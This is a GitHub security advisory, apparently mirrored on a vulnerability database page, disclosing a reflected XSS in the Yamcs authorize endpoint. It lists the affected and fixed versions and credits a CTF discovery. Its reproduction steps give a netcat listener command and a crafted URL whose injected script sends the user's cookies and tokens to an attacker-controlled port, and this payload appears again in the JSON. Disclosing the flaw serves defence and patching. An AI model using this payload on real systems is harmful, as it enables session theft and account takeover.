GHSA-RXPG-WJF8-QV9C

Vulnerability from github – Published: 2026-08-28 17:17 – Updated: 2026-08-28 17:17
VLAI
Summary
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Details

Attack type:

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

image

You then use JavaScript to obtain the user's cookies and display them in the alert:

image

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

image

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:17:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Attack type:\u202f\nUnauthenticated remote\u202f \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user\u0027s browser, including obtaining a user\u0027s session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs \u003c=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user\u0027s browser. This vulnerability can be exploited to exfiltrate a logged-in user\u0027s access token and send it to a remote server, leading to the takeover of the user\u0027s account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n\u003cimg width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" /\u003e\n\nYou then use JavaScript to obtain the user\u0027s cookies and display them in the alert:\n\n\u003cimg width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" /\u003e\n\nFinally, use the `fetch` function to send the user\u0027s cookies to a remote server which we controlled:\n\n\u003cimg width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" /\u003e\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web\u0026state=Lw\u0026response_mode=query\u0026response_type=code\u0026scope=openid\u0026redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"\u003e\u003cscript\u003efetch(`http://localhost:8888?c=${document.cookie}`)\u003c%2Fscript\u003eekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user\u0027s access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.",
  "id": "GHSA-rxpg-wjf8-qv9c",
  "modified": "2026-08-28T17:17:50Z",
  "published": "2026-08-28T17:17:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs has Reflected XSS in the URL of the Authorize Endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…